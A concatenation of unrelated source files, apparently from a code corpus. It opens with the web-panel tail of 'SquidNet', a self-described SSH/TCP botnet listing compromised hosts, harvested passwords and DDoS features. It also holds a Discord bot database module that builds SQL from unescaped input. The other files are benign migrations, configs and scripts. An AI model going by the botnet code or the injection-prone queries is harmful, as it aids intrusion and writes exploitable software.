border-collapse: collapse;
font: arial;
}
td, th {
border: 1px solid black;
padding: 5px;
}
</style>
</head>
<body>
<h1>SquidNet Web Interface<h1>
<h3>(Clearly HTML is not my base language so it doesn't look too good)<h3>
<h1>Connections To the Botnet<h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>UserName</th>
<th>Connection</th>
<th>OS</th>
</tr>
</thead>
<tbody>
""" + str(conn_bots) + """
</tbody>
</table>
<h1>Admin Connections To the Botnet<h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>UserName</th>
<th>Connection</th>
<th>OS</th>
</tr>
</thead>
<tbody>
""" + str(conn_admin) + """
</tbody>
</table>
<h1>SSH Connections to the Botnet</h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>Password</th>
</tr>
</thead>
<tbody>
""" + str(conn_ssh) + """
</tbody>
</table>
<h2>About:</h2>
</h4>Squidnet is an SSH and TCP Botnet Hybrid. The Botnet has the ability to take control of computers compromised by the
bot script, as well as gaining access to ssh servers. It also has a form of security in which admins need to provide a username and
a password in order to gain access. They will be kicked if they do not enter the correct credentials. The Bots can do many
things including DDoS Attacks(HTTP, TCP and UDP Floods), sending their passwords to the Botnet, editing files remotely,
and many more.</h4>
<h2>Important Info</h2>
<h4>Server Log file: """ + os.getcwd() + """\\servlog.txt - Good for checking for errors and server output.</h4>
<h4>Server IP: """ + str(botnet.botnet.ngroklink) + """:""" + str(botnet.botnet.ngrokport) + """ - How Bots will connect to the Botnet.</h4>
<h4>Admin Username: """ + str(botnet.botnet.admin_name) + """ - Username Used by Admins to obtain access to the Botnet</h4>
<h4>Admin Password: """ + str(bot<PASSWORD>.botnet.<PASSWORD>w) + """ - Password Used by Admins to obtain access to the Botnet.</h4>
<h4>Encryption Token: """ + str(botnet.botnet.key) + """ - Used for encrypting files on the bots.</h4>
<h4>Brute-Forcing-File: """ + str(botnet.botnet.passfilename) + """ - Used for SSH-Brute-Forcing.</h4>
</body>
</html>
"""
time.sleep(1)
except:
pass
def listen(self):
"""Listens for and accepts connections."""
while True:
self.server.listen()
conn, ip = self.server.accept()
handler = threading.Thread(target=self.handler, args=(conn,))
handler.start()
def handler(self, conn):
"""Handles the connections and sends the HTTP Code to the client
to view the Web Interface."""
conn.send('HTTP/1.0 200 OK\n'.encode())
conn.send('Content-Type: text/html\n'.encode())
conn.send('\n'.encode())
conn.send(self.packet.encode())
if sys.platform == "win32":
pass
else:
conn.close()
if __name__ == '__main__':
"""Clears CMD Output."""
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
try:
"""Tries to import this module."""
import paramiko
except:
"""Since paramiko is not an official Python Module,
the user may need to download Paramiko themself."""
print(Botnet.log_logo())
print("\n[+] Missing Module: Paramiko\n[+] If you have python 3 installed, try: pip install paramiko")
sys.exit()
botnet = ArguementParse() | 2.4375 | 2 |
lib/database.py | Huyu2239/GChub | 6 | 12764281 | <reponame>Huyu2239/GChub<filename>lib/database.py
import asyncpg
from typing import Any, List, Optional
from dataclasses import dataclass
import os
@dataclass
class Gchat:
"""Class for global chat data."""
gchat_id: str
owner_id: int
style: int
color_code: int
password: str
@dataclass
class GchatChannel:
"""Class for global chat channel data."""
channel_id: int
gchat_id: str
class Database:
def __init__(self, bot: Any) -> None:
self.bot = bot
self.conn: Optional[asyncpg.Connection] = None
async def _check_database(self, conn: asyncpg.Connection) -> None:
"""create table(s) if required table(s) are not exists."""
try:
await self.conn.execute("SELECT 'gchat'::regclass")
except (asyncpg.exceptions.UndefinedColumnError, asyncpg.exceptions.UndefinedTableError):
await self.conn.execute('''
CREATE TABLE gchat (
gchat_id varchar(20) PRIMARY KEY,
owner_id bigint,
style integer,
color_code int,
password varchar(<PASSWORD>)
)
''')
try:
await self.conn.execute("SELECT 'gchat_channels'::regclass")
except (asyncpg.exceptions.UndefinedColumnError, asyncpg.exceptions.UndefinedTableError):
await self.conn.execute('''
CREATE TABLE gchat_channels (
channel_id bigint PRIMARY KEY,
gchat_id varchar(20),
FOREIGN KEY(gchat_id) REFERENCES gchat(gchat_id)
)
''')
async def _setup_connection(self) -> asyncpg.Connection:
"""setup connection and returns `asyncpg.Connection` object."""
self.conn = await asyncpg.connect(
host='localhost',
port=12358,
user=os.environ["POSTGRES_USER"],
password=os.environ["POSTGRES_PASSWORD"],
database=os.environ["POSTGRES_DB"],
loop=self.bot.loop
)
await self._check_database(self.conn)
return self.conn
async def close(self) -> None:
"""close connection if exists connection."""
if self.conn is not None:
await self.conn.close()
async def get_gchat_channels(self, gchat_id: str) -> List[GchatChannel]:
"""returns List of `GChatChannel` object that match `gchat_id`."""
conn = self.conn or await self._setup_connection()
channel_records = await conn.fetch(f"SELECT * FROM gchat_channels WHERE gchat_id='{gchat_id}'")
channel_object_list: List[GchatChannel] = []
for record in channel_records:
gchat_channel = GchatChannel(
channel_id=record[0],
gchat_id=record[1]
)
channel_object_list.append(gchat_channel)
return channel_object_list
async def get_gchat(self, gchat_id) -> Optional[Gchat]:
"""returns `GChat` object from `gchat_id` if exists."""
conn = self.conn or await self._setup_connection()
gchat_record = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'")
if not gchat_record:
return None
gchat_record = gchat_record[0]
gchat = Gchat(
gchat_id=gchat_record[0],
owner_id=gchat_record[1],
style=gchat_record[2],
color_code=gchat_record[3],
password=gchat_record[4]
)
return gchat
async def get_gchat_channel(self, channel_id) -> Optional[GchatChannel]:
"""returns `GChatChannel` object from `channel_id` if exists."""
conn = self.conn or await self._setup_connection()
gchat_channel_record = await conn.fetch(f'SELECT * FROM gchat_channels WHERE channel_id={channel_id}')
if not gchat_channel_record:
return None
gchat_channel_record = gchat_channel_record[0]
gchat_channel = GchatChannel(
channel_id=gchat_channel_record[0],
gchat_id=gchat_channel_record[1]
)
return gchat_channel
async def create_gchat(self, gchat_id, owner_id, style, color_code, password) -> Gchat:
"""insert into database `gchat` an row and returns `Gchat` object."""
conn = self.conn or await self._setup_connection()
await conn.execute(f"INSERT INTO gchat VALUES ('{gchat_id}', {owner_id}, {style}, {color_code}, '{password}')")
gchat = Gchat(
gchat_id=gchat_id,
owner_id=owner_id,
style=style,
color_code=color_code,
password=password
)
return gchat
async def add_gchat_channel(self, channel_id, gchat_id) -> GchatChannel:
"""insert into database `gchat_channels` and row and returns `GchatChannel` object."""
conn = self.conn or await self._setup_connection()
gchat = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'")
if not gchat:
raise ValueError("Unknown gchat id")
await conn.execute(f"INSERT INTO gchat_channels VALUES ({channel_id}, '{gchat_id}')")
gchat_channel = GchatChannel(
channel_id=channel_id,
gchat_id=gchat_id
)
return gchat_channel
async def get_all_gchat_channels(self) -> List[GchatChannel]:
"""returns all `GChatChannel` object."""
conn = self.conn or await self._setup_connection()
gchat_channel_record = await conn.fetch('SELECT * FROM gchat_channels')
if not gchat_channel_record:
return []
gchat_channel = []
for records in gchat_channel_record:
gchat_channel.append(
GchatChannel(
channel_id=records[0],
gchat_id=records[1]
)
)
return gchat_channel
async def delete_gchat(self, gchat_id) -> None:
"""delete a row from database `gchat`."""
conn = self.conn or await self._setup_connection()
gchat = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'")
if not gchat:
raise ValueError("Invalid gchat id")
await conn.execute(f"DELETE FROM gchat_channels WHERE gchat_id='{gchat_id}'")
await conn.execute(f"DELETE FROM gchat WHERE gchat_id='{gchat_id}'")
return
async def delete_gchat_channel(self, channel_id, gchat_id):
"""delete a row from table `gchat_channels`."""
conn = self.conn or await self._setup_connection()
gchat_channel = await conn.fetch(f"SELECT * FROM gchat_channels WHERE channel_id={channel_id} AND gchat_id='{gchat_id}'")
if not gchat_channel:
raise ValueError("Invalid gchat id or channel id")
await conn.execute(f"DELETE FROM gchat_channels WHERE channel_id={channel_id} AND gchat_id='{gchat_id}'")
return
| 2.75 | 3 |
migrations/versions/216378370ae4_third_migration.py | wanjikuciku/Blog | 0 | 12764282 | <gh_stars>0
"""Third Migration
Revision ID: 216378370ae4
Revises: <PASSWORD>
Create Date: 2019-02-19 05:51:40.716914
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql
# revision identifiers, used by Alembic.
revision = '216378370ae4'
down_revision = '<PASSWORD>'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('blogs', sa.Column('date_posted', sa.String(), nullable=True))
op.add_column('blogs', sa.Column('description', sa.String(), nullable=False))
op.add_column('blogs', sa.Column('owner_id', sa.Integer(), nullable=True))
op.add_column('blogs', sa.Column('title', sa.String(), nullable=True))
op.create_index(op.f('ix_blogs_description'), 'blogs', ['description'], unique=False)
op.drop_constraint('blogs_user_id_fkey', 'blogs', type_='foreignkey')
op.create_foreign_key(None, 'blogs', 'users', ['owner_id'], ['id'])
op.drop_column('blogs', 'posted')
op.drop_column('blogs', 'blog_title')
op.drop_column('blogs', 'blog_content')
op.drop_column('blogs', 'user_id')
op.drop_column('blogs', 'category')
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('blogs', sa.Column('category', sa.VARCHAR(), autoincrement=False, nullable=False))
op.add_column('blogs', sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=True))
op.add_column('blogs', sa.Column('blog_content', sa.VARCHAR(length=1000), autoincrement=False, nullable=True))
op.add_column('blogs', sa.Column('blog_title', sa.VARCHAR(), autoincrement=False, nullable=True))
op.add_column('blogs', sa.Column('posted', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))
op.drop_constraint(None, 'blogs', type_='foreignkey')
op.create_foreign_key('blogs_user_id_fkey', 'blogs', 'users', ['user_id'], ['id'])
op.drop_index(op.f('ix_blogs_description'), table_name='blogs')
op.drop_column('blogs', 'title')
op.drop_column('blogs', 'owner_id')
op.drop_column('blogs', 'description')
op.drop_column('blogs', 'date_posted')
# ### end Alembic commands ###
| 1.398438 | 1 |
backend/web/app.py | d2hydro/hydrobase | 0 | 12764283 | <gh_stars>0
"""Äpp of HydroBase API."""
from typing import List
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import FileResponse, StreamingResponse
from pydantic import BaseModel
import zipfile
import json
try:
from .config import STATIC, DATA, __title__, __version__
from .line_function import sample_profile
from .download_function import download_bbox
except ImportError:
from config import STATIC, DATA, __title__, __version__
from line_function import sample_profile
from download_function import download_bbox
app = FastAPI(
title=__title__,
version=__version__
)
origins = [
"*hydrobase.nl",
"http://localhost:3000",
"https://hydrobase.nl"
]
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
class LineData(BaseModel):
"""
Model of line data JSON object, to be posted by request.
Example:
-------
{
"line": [127552.871, 462627.39, 127748.203, 462290.405],
"max_samples": 2000
}
"""
line: List[float]
max_samples: int = 2000
layers: List[str]
class Config:
schema_extra = {
"example": {
"line": [127552.871, 462627.39, 127748.203, 462290.405],
"max_samples": 2000,
"layers": ["distance",
"digital_surface_model",
"digital_terrain_model",
"target_waterlevel_winter",
"target_waterlevel_summer",
"canal_cross_sections"]
}
}
class BoxData(BaseModel):
"""
Model of line data JSON object, to be posted by request.
Parameters:
----------
bbox: list with download coordinates [xmin, ymin, xmax ymax]
Example:
-------
{
"bbox": [126005.6, 463307.6, 127005.6, 464307.6]
}
"""
bbox: List[float]
class Config:
schema_extra = {
"example": {
"bbox": [126005.6, 463307.6, 127005.6, 464307.6],
}
}
@app.get("/")
async def home():
"""Fetch the API home."""
return FileResponse(STATIC / 'index.html')
@app.post('/download')
async def download(data: BoxData):
"""Download data within a box supplied in a JSON body."""
s = download_bbox(data.bbox)
response = StreamingResponse(iter([s.getvalue()]),
media_type="application/x-zip-compressed",
headers={
"Content-Disposition": "attachment;filename=hydrobase_download.zip"
})
return response
@app.post('/profile')
async def profile(data: LineData):
"""Sample data over a line supplied in a JSON body."""
response = await sample_profile(data.line, data.layers, data.max_samples)
return response
| 2.34375 | 2 |
src/python/pants/java/nailgun_executor.py | WamBamBoozle/pants | 0 | 12764284 | # coding=utf-8
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import hashlib
import logging
import os
import re
import threading
import time
from collections import namedtuple
import psutil
from six import string_types
from twitter.common.collections import maybe_list
from pants.base.build_environment import get_buildroot
from pants.java.executor import Executor, SubprocessExecutor
from pants.java.nailgun_client import NailgunClient
from pants.util.dirutil import safe_open
logger = logging.getLogger(__name__)
# TODO: Once we integrate standard logging into our reporting framework, we can consider making
# some of the log.debug() below into log.info(). Right now it just looks wrong on the console.
class NailgunExecutor(Executor):
"""Executes java programs by launching them in nailgun server.
If a nailgun is not available for a given set of jvm args and classpath, one is launched and
re-used for the given jvm args and classpath on subsequent runs.
"""
class Endpoint(namedtuple('Endpoint', ['exe', 'fingerprint', 'pid', 'port'])):
"""The coordinates for a nailgun server controlled by NailgunExecutor."""
@classmethod
def parse(cls, endpoint):
"""Parses an endpoint from a string of the form exe:fingerprint:pid:port"""
components = endpoint.split(':')
if len(components) != 4:
raise ValueError('Invalid endpoint spec {}'.format(endpoint))
exe, fingerprint, pid, port = components
return cls(exe, fingerprint, int(pid), int(port))
# Used to identify we own a given java nailgun server
_PANTS_NG_ARG_PREFIX = b'-Dpants.buildroot'
_PANTS_NG_ARG = b'{0}={1}'.format(_PANTS_NG_ARG_PREFIX, get_buildroot())
_PANTS_FINGERPRINT_ARG_PREFIX = b'-Dpants.nailgun.fingerprint='
@staticmethod
def _check_pid(pid):
try:
os.kill(pid, 0)
return True
except OSError:
return False
@staticmethod
def create_owner_arg(workdir):
# Currently the owner is identified via the full path to the workdir.
return b'-Dpants.nailgun.owner={0}'.format(workdir)
@classmethod
def _create_fingerprint_arg(cls, fingerprint):
return cls._PANTS_FINGERPRINT_ARG_PREFIX + fingerprint
@classmethod
def parse_fingerprint_arg(cls, args):
for arg in args:
components = arg.split(cls._PANTS_FINGERPRINT_ARG_PREFIX)
if len(components) == 2 and components[0] == '':
return components[1]
return None
@staticmethod
def _fingerprint(jvm_options, classpath, java_version):
"""Compute a fingerprint for this invocation of a Java task.
:param list jvm_options: JVM options passed to the java invocation
:param list classpath: The -cp arguments passed to the java invocation
:param Revision java_version: return value from Distribution.version()
:return: a hexstring representing a fingerprint of the java invocation
"""
digest = hashlib.sha1()
digest.update(''.join(sorted(jvm_options)))
digest.update(''.join(sorted(classpath))) # TODO(<NAME>): hash classpath contents?
digest.update(repr(java_version))
return digest.hexdigest()
@staticmethod
def _log_kill(pid, port=None):
port_desc = ' port:{0}'.format(port if port else '')
logger.info('killing ng server @ pid:{pid}{port}'.format(pid=pid, port=port_desc))
@classmethod
def _find_ngs(cls, everywhere=False):
def cmdline_matches(cmdline):
if everywhere:
return any(filter(lambda arg: arg.startswith(cls._PANTS_NG_ARG_PREFIX), cmdline))
else:
return cls._PANTS_NG_ARG in cmdline
for proc in psutil.process_iter():
try:
if b'java' == proc.name and cmdline_matches(proc.cmdline):
yield proc
except (psutil.AccessDenied, psutil.NoSuchProcess):
pass
@classmethod
def killall(cls, everywhere=False):
"""Kills all nailgun servers started by pants.
:param bool everywhere: If ``True`` Kills all pants-started nailguns on this machine; otherwise
restricts the nailguns killed to those started for the current build root.
"""
success = True
for proc in cls._find_ngs(everywhere=everywhere):
try:
cls._log_kill(proc.pid)
proc.kill()
except (psutil.AccessDenied, psutil.NoSuchProcess):
success = False
return success
@staticmethod
def _find_ng_listen_port(proc):
for connection in proc.get_connections(kind=b'tcp'):
if connection.status == b'LISTEN':
host, port = connection.laddr
return port
return None
@classmethod
def _find(cls, workdir):
owner_arg = cls.create_owner_arg(workdir)
for proc in cls._find_ngs(everywhere=False):
try:
if owner_arg in proc.cmdline:
fingerprint = cls.parse_fingerprint_arg(proc.cmdline)
port = cls._find_ng_listen_port(proc)
exe = proc.cmdline[0]
if fingerprint and port:
return cls.Endpoint(exe, fingerprint, proc.pid, port)
except (psutil.AccessDenied, psutil.NoSuchProcess):
pass
return None
def __init__(self, workdir, nailgun_classpath, distribution=None, ins=None):
super(NailgunExecutor, self).__init__(distribution=distribution)
self._nailgun_classpath = maybe_list(nailgun_classpath)
if not isinstance(workdir, string_types):
raise ValueError('Workdir must be a path string, given {workdir}'.format(workdir=workdir))
self._workdir = workdir
self._ng_out = os.path.join(workdir, 'stdout')
self._ng_err = os.path.join(workdir, 'stderr')
self._ins = ins
def _runner(self, classpath, main, jvm_options, args, cwd=None):
command = self._create_command(classpath, main, jvm_options, args)
class Runner(self.Runner):
@property
def executor(this):
return self
@property
def command(self):
return list(command)
def run(this, stdout=None, stderr=None, cwd=None):
nailgun = self._get_nailgun_client(jvm_options, classpath, stdout, stderr)
try:
logger.debug('Executing via {ng_desc}: {cmd}'.format(ng_desc=nailgun, cmd=this.cmd))
return nailgun(main, cwd, *args)
except nailgun.NailgunError as e:
self.kill()
raise self.Error('Problem launching via {ng_desc} command {main} {args}: {msg}'
.format(ng_desc=nailgun, main=main, args=' '.join(args), msg=e))
return Runner()
def kill(self):
"""Kills the nailgun server owned by this executor if its currently running."""
endpoint = self._get_nailgun_endpoint()
if endpoint:
self._log_kill(endpoint.pid, endpoint.port)
try:
os.kill(endpoint.pid, 9)
except OSError:
pass
def _get_nailgun_endpoint(self):
endpoint = self._find(self._workdir)
if endpoint:
logger.debug('Found ng server launched with {endpoint}'.format(endpoint=repr(endpoint)))
return endpoint
def _find_and_stat_nailgun_server(self, new_fingerprint):
endpoint = self._get_nailgun_endpoint()
running = endpoint and self._check_pid(endpoint.pid)
updated = endpoint and endpoint.fingerprint != new_fingerprint
updated = updated or (endpoint and endpoint.exe != self._distribution.java)
return endpoint, running, updated
_nailgun_spawn_lock = threading.Lock()
def _get_nailgun_client(self, jvm_options, classpath, stdout, stderr):
classpath = self._nailgun_classpath + classpath
new_fingerprint = self._fingerprint(jvm_options, classpath, self._distribution.version)
endpoint, running, updated = self._find_and_stat_nailgun_server(new_fingerprint)
if running and not updated:
return self._create_ngclient(endpoint.port, stdout, stderr)
with self._nailgun_spawn_lock:
endpoint, running, updated = self._find_and_stat_nailgun_server(new_fingerprint)
if running and not updated:
return self._create_ngclient(endpoint.port, stdout, stderr)
if running and updated:
logger.debug('Killing ng server launched with {endpoint}'.format(endpoint=repr(endpoint)))
self.kill()
return self._spawn_nailgun_server(new_fingerprint, jvm_options, classpath, stdout, stderr)
# 'NGServer started on 127.0.0.1, port 53785.'
_PARSE_NG_PORT = re.compile('.*\s+port\s+(\d+)\.$')
def _parse_nailgun_port(self, line):
match = self._PARSE_NG_PORT.match(line)
if not match:
raise NailgunClient.NailgunError('Failed to determine spawned ng port from response'
' line: {line}'.format(line=line))
return int(match.group(1))
def _await_nailgun_server(self, stdout, stderr, debug_desc):
# TODO(<NAME>) Make these cmdline/config parameters once we have a global way to fetch
# the global options scope.
nailgun_timeout_seconds = 10
max_socket_connect_attempts = 5
nailgun = None
port_parse_start = time.time()
with safe_open(self._ng_out, 'r') as ng_out:
while not nailgun:
started = ng_out.readline()
if started.find('Listening for transport dt_socket at address:') >= 0:
nailgun_timeout_seconds = 60
logger.warn('Timeout extended to {timeout} seconds for debugger to attach to ng server.'
.format(timeout=nailgun_timeout_seconds))
started = ng_out.readline()
if started:
port = self._parse_nailgun_port(started)
nailgun = self._create_ngclient(port, stdout, stderr)
logger.debug('Detected ng server up on port {port}'.format(port=port))
elif time.time() - port_parse_start > nailgun_timeout_seconds:
raise NailgunClient.NailgunError(
'Failed to read ng output after {sec} seconds.\n {desc}'
.format(sec=nailgun_timeout_seconds, desc=debug_desc))
attempt = 0
while nailgun:
sock = nailgun.try_connect()
if sock:
sock.close()
endpoint = self._get_nailgun_endpoint()
if endpoint:
logger.debug('Connected to ng server launched with {endpoint}'
.format(endpoint=repr(endpoint)))
else:
raise NailgunClient.NailgunError('Failed to connect to ng server.')
return nailgun
elif attempt > max_socket_connect_attempts:
raise nailgun.NailgunError('Failed to connect to ng output after {count} connect attempts'
.format(count=max_socket_connect_attempts))
attempt += 1
logger.debug('Failed to connect on attempt {count}'.format(count=attempt))
time.sleep(0.1)
def _create_ngclient(self, port, stdout, stderr):
return NailgunClient(port=port, ins=self._ins, out=stdout, err=stderr, workdir=get_buildroot())
def _spawn_nailgun_server(self, fingerprint, jvm_options, classpath, stdout, stderr):
logger.debug('No ng server found with fingerprint {fingerprint}, spawning...'
.format(fingerprint=fingerprint))
with safe_open(self._ng_out, 'w'):
pass # truncate
pid = os.fork()
if pid != 0:
# In the parent tine - block on ng being up for connections
return self._await_nailgun_server(stdout, stderr,
'jvm_options={jvm_options} classpath={classpath}'
.format(jvm_options=jvm_options, classpath=classpath))
os.setsid()
in_fd = open('/dev/null', 'r')
out_fd = safe_open(self._ng_out, 'w')
err_fd = safe_open(self._ng_err, 'w')
java = SubprocessExecutor(self._distribution)
jvm_options = jvm_options + [self._PANTS_NG_ARG,
self.create_owner_arg(self._workdir),
self._create_fingerprint_arg(fingerprint)]
process = java.spawn(classpath=classpath,
main='com.martiansoftware.nailgun.NGServer',
jvm_options=jvm_options,
args=[':0'],
stdin=in_fd,
stdout=out_fd,
stderr=err_fd,
close_fds=True)
logger.debug('Spawned ng server with fingerprint {fingerprint} @ {pid}'
.format(fingerprint=fingerprint, pid=process.pid))
# Prevents finally blocks and atexit handlers from being executed, unlike sys.exit(). We
# don't want to execute finally blocks because we might, e.g., clean up tempfiles that the
# parent still needs.
os._exit(0)
def __str__(self):
return 'NailgunExecutor({dist}, server={endpoint})' \
.format(dist=self._distribution, endpoint=self._get_nailgun_endpoint())
| 2.140625 | 2 |
websocketpp/conanfile.py | kapilsh/conan-scripts | 0 | 12764285 | from conans import ConanFile, CMake
from conans.tools import unzip, download
import os
import shutil
class WebsocketppConan(ConanFile):
name = "websocketpp"
boost_version = "1.68.0"
openssl_version = "1.1.1"
zlib_version = "1.2.11"
with open(os.path.join(os.path.dirname(os.path.realpath(
__file__)), "VERSION.txt"), 'r') as version_file:
version = version_file.read()
settings = "os", "arch", "compiler", "build_type"
description = "C++ websocket client/server library"
generators = "cmake", "virtualenv"
requires = f"boost/{boost_version}@kapilsh/release", \
f"openssl/{openssl_version}@kapilsh/release"
exports = "VERSION.txt"
url = "https://github.com/zaphoyd/websocketpp"
license = "http://eigen.tuxfamily.org/index.php?title=Main_Page#License"
github_url = "https://github.com/zaphoyd/websocketpp/archive"
def source(self):
tar_file = "{}.tar.gz".format(self.version)
download("{}/{}".format(self.github_url, tar_file), tar_file)
unzip(tar_file)
os.unlink(tar_file)
shutil.move(f"websocketpp-{self.version}", "websocketpp")
def build(self):
cmake = CMake(self)
cmake.definitions['BUILD_TESTS'] = False
cmake.definitions['BUILD_EXAMPLES'] = False
cmake.configure(source_folder="websocketpp")
cmake.build()
cmake.install()
def package(self):
pass
def package_info(self):
self.cpp_info.includedirs = ['include']
self.env_info.CPATH.append("{}/include".format(self.package_folder))
| 2.109375 | 2 |
spikeextractors/extractors/mdaextractors/__init__.py | zekearneodo/spikeextractors | 145 | 12764286 | from .mdaextractors import MdaRecordingExtractor, MdaSortingExtractor
| 1.070313 | 1 |
release/stubs.min/Rhino/DocObjects/__init___parts/PointCloudObject.py | htlcnn/ironpython-stubs | 182 | 12764287 | <reponame>htlcnn/ironpython-stubs<filename>release/stubs.min/Rhino/DocObjects/__init___parts/PointCloudObject.py
class PointCloudObject(RhinoObject):
# no doc
def DuplicatePointCloudGeometry(self):
""" DuplicatePointCloudGeometry(self: PointCloudObject) -> PointCloud """
pass
PointCloudGeometry=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Get: PointCloudGeometry(self: PointCloudObject) -> PointCloud
"""
| 1.75 | 2 |
Chapter_1_Introduction/Easy_Problems/kattis_lineup.py | BrandonTang89/CP4_Code | 2 | 12764288 | '''
Kattis - lineup
Compare list with the sorted version of the list.
Time: O(n log n), Space: O(n)
'''
n = int(input())
arr = [input() for _ in range(n)]
if arr == sorted(arr):
print("INCREASING")
elif arr == sorted(arr, reverse=True):
print("DECREASING")
else:
print("NEITHER") | 3.984375 | 4 |
src/data/clean_raw_data.py | ereidelbach/pubg | 1 | 12764289 | #!/usr/bin/env python3.7
# -*- coding: utf-8 -*-
"""
Created on Mon Feb 4 15:45:33 2019
@author: ejreidelbach
:DESCRIPTION:
:REQUIRES:
:TODO:
"""
#==============================================================================
# Package Import
#==============================================================================
import os
import pandas as pd
import pathlib
import tqdm
import collections
import matplotlib.pyplot as plt
import math
#==============================================================================
# Reference Variable Declaration
#==============================================================================
#==============================================================================
# Function Definitions
#==============================================================================
def function_name(var1, var2):
'''
Purpose: Stuff goes here
Inputs
------
var1 : type
description
var2 : type
description
Outputs
-------
var1 : type
description
var2 : type
description
'''
def bucketize(point, bucket_size):
"""floor the point to the next lower multiple of bucket_size"""
return bucket_size * math.floor(point / bucket_size)
def make_histogram(points, bucket_size):
"""buckets the points and counts how many in each bucket"""
return Counter(bucketize(point, bucket_size) for point in points)
def plot_histogram(points, bucket_size, title=""):
histogram = make_histogram(points, bucket_size)
plt.bar(histogram.keys(), histogram.values(), width=bucket_size)
plt.title(title)
plt.show()
def plot_scatter(xs, ys1, ys2):
plt.scatter(xs, ys1, marker='.', color='black', label='ys1')
plt.scatter(xs, ys2, marker='.', color='gray', label='ys2')
plt.xlabel('xs')
plt.ylabel('ys')
plt.legend(loc=9)
plt.show()
def dot(v, w):
"""v_1 * w_1 + ... + v_n * w_n"""
return sum(v_i * w_i for v_i, w_i in zip(v, w))
def sum_of_squares(v):
"""v_1 * v_1 + ... + v_n * v_n"""
return dot(v, v)
def de_mean(x):
"""translate x by subtracting its mean (so the result has mean 0)"""
x_bar = mean(x)
return [x_i - x_bar for x_i in x]
def mean(x):
return sum(x) / len(x)
def variance(x):
"""assumes x has at least two elements"""
n = len(x)
deviations = de_mean(x)
return sum_of_squares(deviations) / (n - 1)
def get_column(A, j):
return [A_i[j] for A_i in A]
def standard_deviation(x):
return math.sqrt(variance(x))
def shape(A):
num_rows = len(A)
num_cols = len(A[0]) if A else 0
return num_rows, num_cols
def covariance(x, y):
n = len(x)
return dot(de_mean(x), de_mean(y)) / (n - 1)
def correlation(x, y):
stdev_x = standard_deviation(x)
stdev_y = standard_deviation(y)
if stdev_x > 0 and stdev_y > 0:
return covariance(x, y) / stdev_x / stdev_y
else:
return 0 # if no variation, correlation is zero
#==============================================================================
# Working Code
#==============================================================================
#from aggregate_CFBStats_by_category import aggregate_data_by_category
# Set the project working directory
#path_project = pathlib.Path(__file__).resolve().parents[2]
#os.chdir(path_project)
path_dir = pathlib.Path('/home/ejreidelbach/Projects/kagglePUBG/data/raw')
os.chdir(path_dir)
df = pd.read_csv('train_V2.csv', nrows=10000)
plot_histogram(df['kills'], 1)
plot_scatter(df, df['kills'], df['winPlacePerc']) | 2.09375 | 2 |
mtp_noms_ops/urls.py | ministryofjustice/money-to-prisoners-noms-ops | 3 | 12764290 | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.i18n import i18n_patterns
from django.http import HttpResponse
from django.shortcuts import redirect
from django.template.response import TemplateResponse
from django.urls import reverse, reverse_lazy
from django.utils.translation import gettext_lazy as _
from django.views.decorators.cache import cache_control
from django.views.generic import RedirectView
from django.views.i18n import JavaScriptCatalog
from moj_irat.views import HealthcheckView, PingJsonView
from mtp_common.analytics import genericised_pageview
from mtp_common.auth import views as auth_views
from mtp_common.auth.exceptions import Unauthorized
from mtp_common.metrics.views import metrics_view
from mtp_auth.views import AcceptRequestView
from user_admin.views import UserCreationView, UserUpdateView
from views import FAQView
def login_view(request):
return auth_views.login(request, template_name='mtp_auth/login.html', extra_context={
'start_page_url': settings.START_PAGE_URL,
'google_analytics_pageview': genericised_pageview(request, _('Sign in')),
})
def root_view(request):
if not (request.can_access_prisoner_location or request.can_access_security):
raise Unauthorized() # middleware causes user to be logged-out
if request.can_access_prisoner_location and not request.can_access_security:
return redirect(reverse('location_file_upload'))
return redirect(reverse('security:dashboard'))
# NB: API settings has certain Noms Ops URLs which will need to be updated
# if they change: settings, feedback, and notifications
urlpatterns = i18n_patterns(
url(r'^$', root_view, name='root'),
url(r'^prisoner-location/', include('prisoner_location_admin.urls')),
url(r'^settings/', include('settings.urls')),
url(r'^faq/', FAQView.as_view(), name='faq'),
url(r'^feedback/', include('feedback.urls')),
url(r'^', include('mtp_auth.urls')),
url(r'^login/$', login_view, name='login'),
url(
r'^logout/$', auth_views.logout, {
'template_name': 'mtp_auth/login.html',
'next_page': reverse_lazy('login'),
}, name='logout'
),
url(
r'^password_change/$', auth_views.password_change, {
'template_name': 'mtp_common/auth/password_change.html',
'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL),
}, name='password_change'
),
url(
r'^create_password/$', auth_views.password_change_with_code, {
'template_name': 'mtp_common/auth/password_change_with_code.html',
'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL),
}, name='password_change_with_code'
),
url(
r'^password_change_done/$', auth_views.password_change_done, {
'template_name': 'mtp_common/auth/password_change_done.html',
'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL),
}, name='password_change_done'
),
url(
r'^reset-password/$', auth_views.reset_password, {
'password_change_url': reverse_lazy('password_change_with_code'),
'template_name': 'mtp_common/auth/reset-password.html',
'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL),
}, name='reset_password'
),
url(
r'^reset-password-done/$', auth_views.reset_password_done, {
'template_name': 'mtp_common/auth/reset-password-done.html',
